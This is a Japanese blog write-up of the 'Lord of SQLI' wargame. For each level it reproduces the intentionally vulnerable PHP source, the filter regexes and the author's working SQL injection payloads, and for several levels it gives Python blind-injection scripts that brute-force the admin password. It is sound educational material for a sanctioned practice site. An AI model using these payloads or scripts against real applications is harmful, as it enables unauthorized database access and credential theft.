好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

Lord of the SQLI の writeup もしくは walkthrough

Load of SQLInjection の writeup というか walkthrough というか 復習記事というか。

ということで、問題がシンプルで学習にとても良い SQLI injection の演習問題サイトです。wargameというジャンルっぽい。
扱いがわからなかったのでサイトオーナーに連絡したら「自由にwriteup書いていいよ!」とのことだったので公開。ありがたい!
かく言う私も他の人のwriteupを薄目で参考にしつつ進めました👍

初心者級の問題からあるので手がつけやすい。ファンタジー王道の魔物たちが、どんどんレベルアップして登場するのも面白い。グレムリンから始まってオーク・ゴーレム・ケルベロスなど。よくこんなにモンスター探したなぁ!

問題の意図を読み取るのがちょっと最初は手こずるけど、一度わかればOK。
ずっと問題の形式が同じだし、シンプルなので問題の意図がわかりやすくて良い。今まで、DBの種類もあまり意識しないまま、ただ知ってる攻撃クエリを並び立てて「当たればラッキー✌️」みたいな感じだったんだけど、これを1周やってみて、SQLとだいぶ仲良くなれた感じある。

ということで、まだの人は是非取り組んでみよう!!!

f:id:kusuwada:20200829105914p:plain:h200 f:id:kusuwada:20200829105929p:plain:h200

gremrin

query : select id from prob_gremlin where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

問題ページはこの情報が書いてあるページのみ。やり方の説明とかは一切なし。urlクエリに直接id,pwを叩き込むっぽい。
pwに下記を詰めて送れば全レコード取れてクリア。

?pw='or 1#

※要url encode
すると、こんなクエリになるはず。

select id from prob_gremlin where id='' and pw=''or 1#'

cobolt

query : select id from prob_cobolt where id='' and pw=md5('')

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

pwが入力値をmd5ハッシュ化したものでクエリされる。しかもadminを抜かないといけないみたい。
pw部分のクエリをコメントで無効化すると良さそう。

select id from prob_cobolt where id='admin'#' and pw=md5('')

こうするために、

?id=admin'#

を代入。
#はそのまま入れるとurlフラグメントとして解釈されてしまうので、これもエンコードする。

?id=admin%27%23

これで通った!

goblin

query : select id from prob_goblin where id='guest' and no=

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

今度はid='guiest'が固定で入っているのと、and no={no}というのが続くだけとなっている。guestではなくadminを抜ければOK。

ちなみに ?no=1 で送ると Hello, guest. が表示されたので guest の no は 1。

?no=1' or id='admin'#

これを送ろうとurlエンコードして送ってみたら

?no=1%27+or+id=%27admin%27%23

No Quotes ~_~ と怒られた!この問題はクオートも使えないらしい!!!!
あ、でも待って。もともとのクエリもクオート無いじゃん。

and no={$_GET[no]}"

更に id='admin' みたいにしようとすると文字列変換で(回避策はあるけど)クオートが必要になるので、noで攻めるほうが良さそう。

noで攻めたいけど、id='admin'みたいにクォートで文字列を表せないので、hexで送ってみる。

?no=0 or id=0x61646d696e

※no=1だと guestが引っかかってしまうため

?no=0+or+id=0x61646d696e

OK!!!!

orc

query : select id from prob_orc where id='admin' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

よし、この問題は No Quotes ~_~ じゃないぞ。
idはadminで固定、何かしらクエリの結果が返ってくれば、"Hello admin" を表示してくれる。
クリア条件はpwの一致。これは blind injection でパスワードを位置文字ずつ当てていくやつだな!!!!

そろそろコード化しないときついやつ。

select id from prob_wolfman where id='guest' and pw=''or id='admin' and substr(pw,x,1)='x'

みたいになるように攻撃クエリを組み立てて、Blind SQL injectionする。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(attack_sql):
    attack_url = url + '?pw=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(pw):
    query = "'or id='admin' and substr(pw," + str(len(pw)) + ",1)='" + pw[-1]
    return query

def check_result(res):
    if 'Hello admin' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw
fix_pass = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pass = fix_pass + str(c)
        print(try_pass)
        query = create_pass_query(try_pass)
        res = attack(query)
        if check_result(res):
            fix_pass += c
            break
        if c == '#':
            is_end = True
            

print("result: " + fix_pass)

実行結果

$ python orc.py 
0
00
01
02
03
04
05
06
07
08
09
090
(中略)
095a9852!
095a9852?
095a9852&
095a9852#
result: 095a9852

この結果を?pw=に入れればクリアー🙌

wolfman

query : select id from prob_wolfman where id='guest' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

今回はwhitespaceが使えないみたい。
whitespaceは/**/で置き換えられるので、さっきのorcのクエリを、/**/で置き換えてみる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(attack_sql):
    attack_url = url + '?pw=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(pw):
    query = "'or/**/id='admin'/**/and/**/substr(pw," + str(len(pw)) + ",1)='" + pw[-1]
    return query

def check_result(res):
    if 'Hello admin' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw
fix_pass = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pass = fix_pass + str(c)
        print(try_pass)
        query = create_pass_query(try_pass)
        res = attack(query)
        if check_result(res):
            fix_pass += c
            break
        if c == '#':
            is_end = True
            

print("result: " + fix_pass)

実行結果

$ python wolfman.py 
0
1
2
3
(略)
jfasdij23895u90dfg!
jfasdij23895u90dfg?
jfasdij23895u90dfg&
jfasdij23895u90dfg#
result: jfasdij23895u90dfg

出てきたpwをidとセットでurlにつける。

?pw='or/**/id='admin'/**/and/**/pw='jfasdij23895u90dfg

とクリア!

darkelf

query : select id from prob_darkelf where id='guest' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

今回もidはguest固定。adminがとたらOK。
or,andを入れたらだめらしい。orは || で置き換えられるかな?

?pw='||id='admin

orge

query : select id from prob_orge where id='guest' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

また or, and が使えない。
addslashes',",\,nullにバックスラッシュを付けるらしい。で、エスケープした後、今度はid=adminとして再度クエリを投げ、返ってきた結果のpwエスケープ後のpwが一致しているかを確認してるみたい。
ということは、最終的に pw には admin の pw を入れる必要がある。
orcと同じくblind injectionで行けるかな。
orcのコードのorand||,&&に変更して回したら通った🙌

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(attack_sql):
    attack_url = url + '?pw=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(pw):
    query = "'||id='admin'&&substr(pw," + str(len(pw)) + ",1)='" + pw[-1]
    return query

def check_result(res):
    if 'Hello admin' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw
fix_pass = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pass = fix_pass + str(c)
        print(try_pass)
        query = create_pass_query(try_pass)
        res = attack(query)
        if check_result(res):
            fix_pass += c
            break
        if c == '#':
            is_end = True
            

print("result: " + fix_pass)

troll

query : select id from prob_troll where id=''

<?php  
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match("/admin/", $_GET[id])) exit("HeHe");
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("troll");
  highlight_file(__FILE__);
?>

今度はクエリ文字に'adminが使えない。クエリは一番シンプルでidだけ指定するタイプ。 とってきたカラムのidがadminならクリア。
そう言えば前の問題で大文字小文字がDBクエリ側では区別されてなかった、かつphp側では区別されるから、大文字なら通るのでは。

?id=Admin

とおった〜!!!

vampire

query : select id from prob_vampire where id=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>

今回もパラメータはidのみ。また'が使えない。
更に大文字で通すさっきの手法は strtolower でチェックされちゃうので使えない。
adminを入れるとblankに置き換えられる。

2つに分けて間を消してもらう作戦。

?id=adadminmin

あどあどみんみん。いい感じ。クリアー!!!

skeleton

query : select id from prob_skeleton where id='guest' and pw='' and 1=0

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

/prob,_,.,()が使えない。/probは全てのテーブル名についているので、テーブル名を指定させないためと思われる。
クエリは、id=guest 指定、pwは入力、うしろに and 1=0 なんてのがついている。このままでは何のレコードも取れないので、and 1=0 を無効化する必要がある。

?pw='or id='admin'#

コメントアウトで無効化してあげればOK

golem

query : select id from prob_golem where id='guest' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

使えない文字列は、さっきと同じ + or,and,substr(,=
最終的にadminのpasswordを手に入れる必要がある。substrを利用した今までのスクリプトが使えないなぁ。
更にid='admin'も使えない。ので、likeで回避。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(attack_sql):
    attack_url = url + '?pw=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(pw):
    query = "'||id like 'admin%' && pw like '" + pw + "%"
    return query

def check_result(res):
    if 'Hello admin' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw
fix_pass = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pass = fix_pass + str(c)
        print(try_pass)
        query = create_pass_query(try_pass)
        res = attack(query)
        if check_result(res):
            fix_pass += c
            break
        if c == '#':
            is_end = True
            

print("result: " + fix_pass)

通ったー🙌 楽しーなー!!!!!!

darkknight

なんか強そうなモンスターになってきた。

query : select id from prob_darkknight where id='guest' and pw='' and no=

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

わー、pw'が使えません。もうダメだ…。あ、でも他の制約はないみたい。
他、no',substr,ascii,=も使えない。

=の代わりにlike, 'admin'のかわりに hex を使って

select id from prob_darkknight where id='guest' and pw='' and no=1 or id like 0x61646d696e

になるよう、?no=1 or id like 0x61646d696eを送ってみると、Hello adminが返ってきた🙌
こんな感じで、

select id from prob_darkknight where id='guest' and pw='' and no=1 or id like 0x61646d696e and pw like hex(x%)

みたいにすれば、blind injectionできそう!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse
import binascii

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(attack_sql):
    attack_url = url + '?no=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(pw):
    hex_pw = '0x' + binascii.hexlify(pw.encode()+b'%').decode()
    query = "1 or id like 0x61646d696e && pw like " + hex_pw + ""
    return query

def check_result(res):
    if 'Hello admin' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw
fix_pass = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pass = fix_pass + str(c)
        print(try_pass)
        query = create_pass_query(try_pass)
        res = attack(query)
        if check_result(res):
            fix_pass += c
            break
        if c == '#':
            is_end = True
            

print("result: " + fix_pass)

Yay🙌

ちなみに、上記は二周目の解き方。一周目は違うアプローチをしていたらしいので下記に記す。

とりあえず、何かクエリの結果を返してもらえないかというところで、noに下記を入れるとguestが返ってくる。

query:   ?no=1 or 1 limit 1
encoded: ?no=1+or+1+limit+1

-> Hello guest

ヨシ(๑•̀ㅂ•́)و✧

更に、indexを付けるとadminが返ってくる。

query:   ?no=1 or 1 limit 1,1
encoded: ?no=1+or+1+limit+1%2C1

もしくはコレでもOK

query:   ?no=1 or id like(0x61646d696e)
encoded: ?no=1+or+id+like%280x61646d696e%29

-> Hello admin

問題はどうやってadminのpasswordをゲットするか。resultはidしか表示してくれません。substrの置き換えはsubstringでも出来るけど、mid()というのが使えるかもしれないということでやってみる。

?no=1 or id like(hex('admin')) and mid(pw,1,try_pass_len) like(hex(try_pass))

このクエリをもとにpwを求めるスクリプトを書いたらイケた👍

bugbear

query : select id from prob_bugbear where id='guest' and pw='' and no=

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

またpw'が使えません。
noのほうには',substr,ascii,=,or,and,,like,0xが使えません。or,and||,&&が使えそうだとして、0xはどうしよう。char()が使えるかな?likeは厳しいな。=likeが使えない場合の回避を調べてみると、

  • not in
  • in
  • between

等があるらしい。これは行けそう。
substrの置き換えはmidで。
いろいろな代替が出てきて勉強になるなぁ…!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import os
import requests
import urllib.parse

url = os.environ['SQLI_URL']
cookie = os.environ['SQLI_COOKIE']
candidates = [chr(i) for i in range(48, 48+10)] + \
    [chr(i) for i in range(97, 97+26)] + \
    [chr(i) for i in range(65, 65+26)] + \
    ["_","@","$","!","?","&","#"]
headers= {'Cookie':'PHPSESSID='+cookie}

def attack(attack_sql):
    attack_url = url + '?no=' + urllib.parse.quote(attack_sql)
    #print(attack_url)
    res = requests.get(attack_url, headers=headers)
    #print(res.text)
    return res

def create_pass_query(pw):
    query = "1||id/**/in(char(97,100,109,105,110))&&mid(pw," + str(len(pw)) + ",1)in(char(" + str(ord(pw[-1])) + "))"
    return query

def check_result(res):
    if 'Hello admin' in res.text:
        return True
    return False

####################
###     main     ###
####################

# find pw
fix_pass = ""
is_end = False
while not is_end:
    for c in candidates:
        try_pass = fix_pass + str(c)
        print(try_pass)
        query = create_pass_query(try_pass)
        res = attack(query)
        if check_result(res):
            fix_pass += c
            break
        if c == '#':
            is_end = True
            

print("result: " + fix_pass)

フラグゲット٩(๑❛ᴗ❛๑)尸

giant

query : select 1234 fromprob_giant where 1

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

趣向がガラッと変わったようだ。今度の受け付けるクエリパラメータはshit
長さ(strlen)は0か1じゃないといけないらしい。これは厳しい。
, \n, \r, \tが禁止されている。table名にこの shit が使われるみたいだ。
何かしら結果が取れればOK。

ブランクが入れられれば良さそうだけど禁止されているので、whitespaceの代替を探してみるとこれだけあった。

  • %09
  • %0D
  • %0C
  • %0B
  • %0A
  • %A0

順番に入れていったら、%0Cで発動した!

?shit=%0C

assassin

query : select id from prob_assassin where pw like ''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

like句でpasswordを探して取ってきて、adminが取れたらクリア。入力のpwには'は使えない。

なんでも取ってこれる%を入れると、guestが釣れる。一文字目があってたら通るように、0%みたいにして一文字目だけのbruteforceを実施(手動)すると、9から始まるのがguestのパスワードということがわかった。
そのまま続けるとadminのパスワードも判明するかと思ったけど、出てこなかった。

ちょっと悩んだ末、guestと最初の方は同じパスワードかもしれないと、guestで引いたパスワードも候補に残していくと、902%でadminだけ引くことに成功👍

succubus

query : select id from prob_succubus where id='' and pw=''

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

id,pwともに、_,.,(),'が入力禁止。
何かしらデータが取れればクリア。

'が入力禁止なのでなかなかちゅらい。

色々試行錯誤してみたけどうーんよくわからん。でも挿入できるparameterが2つあるということは、協力して何かできないかな?ということで、前段のidの方に\を挿入すると、idの後ろの方のシングルクォートがエスケープされて無効になる!すると、下記のようになるので、

id='\' and pw='hogehoge'

pwに入れたhogehoge部分は文字列としてではなく制御文字として扱われる👍

query:   ?id=\&pw=or 1#
encoded: ?id=%5C&pw=or+1%23

最後の#はpwの後ろのシングルクオート無効化のため。

zombie_assassin

query : select id from prob_zombie_assassin where id='' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>

入力文字列は、addslashesエスケープされてからstrrevで逆順にされるみたいです。前回同様、_,.,()が入力禁止。'エスケープされるけど使える。エスケープされるけど逆順になるので、有効にしたままにもできそう。
今回も何かしら結果が返ればOK。

目標とするクエリを組み立てて、そうなるように入力parameterを逆算してみる。

select id from prob_zombie_assassin where id='' and pw='' or 1#'

query: pw=' or 1# strrev: pw=#1 ro ' addslashes pw=#1 ro \'

うーん、これだと

query : select id from prob_zombie_assassin where id='' and pw=''\ or 1#'

\が邪魔だな。
succbusのみたいに、idの後ろの'を、他のエスケープされる文字"を挟むことで無効化してみる。

query:   ?id="&pw=#1 ro
encoded: ?id="&pw=%231+ro

こう入力すると、クエリは下記のようになる。

query : select id from prob_zombie_assassin where id='"\' and pw='or 1#'

よっしゃクリア!

nightmare

query : select id from prob_nightmare where pw=('') and id!='admin'

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>

今度は_,.,(),#,-が使えない。あと6文字以内じゃないとだめ。何かデータが取れればOK。
admin以外にレコードがあれば、id!=adminはそのまま放置しても大丈夫。
よく見たら、pw=('hogehoge')みたいに、カッコで囲まれてるみたいだ。

query:   ?pw=') or id like('g
encoded: ?pw=%27%29+or+id+like%28%27g

みたいにしたらいけるかなー?と思ったら、6文字以下じゃないとだめなんだった、忘れてた…。
pwの評価が括弧で囲まれている事を利用して、

pw=('')=0

とすると、この式全体としてはTrueになるらしい。
('')=0は、空文字列を数値に直そうとすると0になる(文字列と数値の比較の場合、MySQLの文字列と数値の比較は、まず文字列を数値にしようとするらしく、文字列の先頭に数値があればその数値、なければ0になる)ため、Trueとなる。すると、pw=真となって、クエリが正常に実行されるらしい。

また、この後をコメントアウトする必要があるが、#--は使えない。そもそもこの時点で後2文字しか残っていない。こういう時は、NULLを送ってこれ以上のクエリ読み込みを阻止する。式を終わらせるためにセミコロンも付ける。

query:    pw=')=0;%00

これは全然自力では解けなかった。知らないことだらけだったなー!

xavis

このモンスター知らないな…。

query : select id from prob_xavis where id='admin' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

今回はpw_,.,(),regex,likeが禁止されている。
adminのpwを最終的に入手する必要がある。

